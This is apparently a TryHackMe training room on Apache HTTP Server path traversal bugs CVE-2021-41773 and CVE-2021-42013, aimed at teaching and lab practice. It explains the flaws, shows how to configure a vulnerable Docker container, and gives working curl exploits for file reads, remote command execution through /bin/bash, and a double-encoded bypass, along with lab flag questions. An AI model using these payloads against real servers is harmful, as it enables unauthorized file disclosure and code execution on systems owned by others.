Room Banner

CVE-2021-41773/42013

A small explanation of an Apache path traversal bug and an incomplete fix

info

15 min

Room progress ( 0% )

To access material, start machines and answer questions login.

Task 1A Bit of Background...

A Brief History

On the 5th of October 2021, a CVE detailing a path traversal attack on Apache HTTP Server v2.4.49 was released. Assigned the number CVE-2021-41773, it was released with the following description:

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally (sic) this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.

Let's break this down and see what this actually means for us:

  • From the first bit, we see that a recent change that exposed the flaw. Path normalization means that we transform a given path to some canonical form that the software can understand, and thus map to the actual filesystem. This already leads us to suspect a path traversal attack that can potentially read unintended files.
  • The next part confirms our suspicions, and we are able to use a path traversal attack to read resources outside the intended scope.
  • We see that we require a very particular configuration to be set. Files outside the document root must explicitly be granted permissions. This is not the default configuration and should thus render this exploit useless against a large percentage of the Apache hosts (thankfully).
  • The next part talks about CGI scripts, which erroneously leads us to believe that CGI may need to be enabled for this attack to work or that the path involves CGI in some way.
  • Even if our configuration is not directly affected by this bug, we'll still want to update the vulnerable versions ASAP.

To summarize, in order to exploit this vulnerability, we'll need to have a very unusual configuration on our target server, and to attack via a specific path.

Much Fixing Later...

So Apache fixed this bug and released v2.4.50. End of story, right? Well, not quite. Only 2 days later, on the 7th of October, a new CVE was released citing the prior. This one mentions that the fix for the earlier path traversal attack was incomplete, and we could still traverse if the path in question used an alias directive to map its URLs to the filesystem. The CVE was assigned number CVE-2021-42013, with the description as follows:

It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes (sic), this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.

Much as before, we can learn a few things here:

  • While the first exploit was supposedly fixed, there is another input for allowing the traversal to work (remember this for later).
  • Now we're being limited to aliased path directives.
  • Directories outside the usual paths still require explicit permissions to be granted.
  • If CGI is enabled, then we can get RCE in addition to simple disclosure 😲

While we process this madness, we'll look into the required configuration in the next task.

Answer the questions below
What version of Apache httpd was initially vulnerable to this CVE?

This vulnerability requires an unusual misconfiguration for it to be exploitable (Yea/Nay)

A Smidgen of Theory

A Path Traversal exploit is an attack that aims to access resources that are normally inaccessible by abusing flaws in path resolution and/or normalization. We'd usually exploit this type of attack by traveling (also known as traversing) backwards beyond the supposed root using the .. syntax.

Normalization? What?

Normally, when providing a path for some code to find a file, an absolute path is necessary. Let's call this the canonical path. When a relative path is instead given, it must be normalized to a canonical form so that the OS libraries which use that path can then find the resource in question. This is an oversimplification, of course, but the gist remains.

In general, there exist platform libraries to do this normalization for us, but in C/C++ we usually get to do everything ourselves. While this can offer some flexibility, it can also easily introduce flaws if our implementation isn't perfect.

Normalizing URLs

An HTTP server has to translate a URL into a canonical path on the file system in order to find the correct file to serve. While there are definitely some filters in place to avoid being able to traverse beyond the document root, some use cases may easily be missed. In this case, the exploit takes advantage not only of URL encoding (we'll get to that in a bit) but also a flaw in the path normalization of the Alias module (supposedly)

An Aside on URL Encoding

Defined in RFC 3986 Section 2, URL Encoding is a scheme used to encode special or reserved characters within a URL. For example, spaces in a URL are encoded as a + character (notably in query parameters). If we want to encode an actual plus, we must encode it using what is known a "percent-encoding". This simply involves prefixing the US-ASCII hexadecimal code for the character with a % sign. In our example, the + symbol can be encoded as %2B.

Any character can be URL-encoded, and URLs which are fully URL-encoded are functionally equivalent to the non-encoded version. From the RFC: If two URIs differ only in the case of hexadecimal digits used in percent-encoded octets, they are equivalent.

So What Happened with Apache?

A recent change in the path normalization module in the Apache server then allowed a specially crafted URL to bypass the filters and traverse beyond the document root, allowing arbitrary file read on the system if the configuration allowed it. Furthermore, if the CGI module was enabled, then arbitrary file execution is also possible!

Answer the questions below

A path traversal exploit will (choose the best answer):

  A) Include arbitrary remote files to be processed on the server.
  B) Include arbitrary local files to be processed on the server.
  C) Allow arbitrary files to be exposed by the server.
  D) None of the above.

URL-encode the . symbol

What does this URL fragment decode to:  %%32%65 ?

Hacking Apache for Fun

So now that the theory is over, let's get to exploiting this flaw. Firstly, we need a vulnerable version of Apache. Thankfully we have docker for this :)

Awesome Shell!
           user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
        

Configuration

For this exploit to work, we need to configure Apache to allow access to files outside the document root. We can be precise and specify a given directory, or we can go the YOLO route and give access to everything. For our purposes, everything will do nicely. To begin, let's run our container and poke at the configuration. Note that these modifications work for both vulnerable versions of Apache.

Awesome Shell!
           user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd

user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .

user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249-    AllowOverride none
250:    Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307:    Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.

user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf

user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf

user@machine docker container restart vuln-httpd
vuln-httpd

        

As an aside, you can always modify the configuration by hand. We want to modify the bit that says:

<Directory />
    AllowOverride none
    Require all denied
</Directory>

And replace the denied by granted. This will give Apache access to the entire filesystem (which is definitely NOT a good idea, so don't do this in prod. Ever).

Configuration for That Juicy RCE

Simply modifying the access controls will give data exposure, but not RCE. In order to get RCE in our little PoC, we simply need to activate the CGI module in addition to the access permissions. This will then cause the CGI module to execute the script when we call it instead of simply showing its contents. To enable CGI, we simply need to uncomment the LoadModule configuration. Assuming we still have the container we modified earlier, we can do the following:

Awesome Shell!
           user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .

user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184:    #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187:    #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387-    #
388-    # ScriptSock: On threaded servers, designate the path to the UNIX
389:    # socket used to communicate with the CGI daemon of mod_cgid.
390-    #
391-    #Scriptsock cgisock
392-</IfModule>
393-

user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf

user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf

user@machine docker container restart vuln-httpd
vuln-httpd

        

You may, of course, use any available text editor to modify the files. The grep/sed method works with a shell within the container, as there are no text editors available.

Get to the Exploits Already!

Now that we have set up our container, we can get to exploiting this CVE (finally). The method is pretty straightforward, and it involves url-encoding one of the . symbols in each URL path segment while we traverse. We also need to traverse from an aliased path. Thankfully, we know from reading the config that the cgi-bin path is aliased by default, so let's use that! The exploit differs slightly between version 2.4.49 and 2.4.50, though the latter also works on the former.

Apache 2.4.49 without CGI enabled

Without CGI enabled, we can only read files. Using curl, we simply access the files that we want, url-encoding one of the . in each path segment.

Awesome Shell!
           user@machine$  curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
*   Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 10:58:04 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host localhost left intact

        

Apache 2.4.49 with CGI enabled

CGI will complicate the matter as the module will attempt to execute the retrieved file. For plaintext, like /etc/passwd, this can be problematic :). In order to execute or code, we can simply call sh or bash with the command in the body. Note that the Content-Type response header will also have to be emitted so that the client will know how to display the results.

Awesome Shell!
           user@machine$  curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
*   Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact

        

Apache 2.4.50

This particular example was fixed in version 2.4.50. However, the fix was incomplete and failed to account for a double-encoding of the URL. In this case, we can use the same structure as the previous version, with the following path:

Awesome Shell!
           user@machine$  curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

        

If we look closely, we can see that the URL decodes from %%32%65 to %2e. This bypasses the filter code and allows us to traverse outside the web server root.

Answer the questions below
What module needs to be enabled in order to get remote code execution?

The configuration is a bit fastidious, so I've done it all for you! In the VM attached to this task (Please wait up to 4 minutes to start up properly for a subscriber VM, and 7 minutes for the free VM), there are 4 vulnerable Apache servers configured as follows:

  • Apache 2.4.49 without CGI: http://MACHINE_IP:8080
  • Apache 2.4.49 with CGI: http://MACHINE_IP:8081
  • Apache 2.4.50 without CGI: http://MACHINE_IP:8082
  • Apache 2.4.50 with CGI: http://MACHINE_IP:8083

Each server has a flag in the root directory named flag.txt. Your task is to find them all.

As a bonus objective, try to get an actual shell on one of the cgi-enabled servers. The server on port 8083 also has a root flag hidden.

Answer the questions below
What is the flag on port 8080?

What is the flag on port 8081?

What is the flag on port 8082?

What is the flag on port 8083?

I was able to pop a shell! (I can't actually verify this, so I'll trust you on that one :))

What user is the Apache server running as?

Find the root flag on the machine on port 8083?

Created by

Room Type

Free Room. Anyone can deploy virtual machines in the room (without being subscribed)!

Users in Room

8,205

Created

1389 days ago

Ready to learn Cyber Security? Create your free account today!

TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.

Already have an account? Log in

We use cookies to ensure you get the best user experience. For more information contact us.

Read more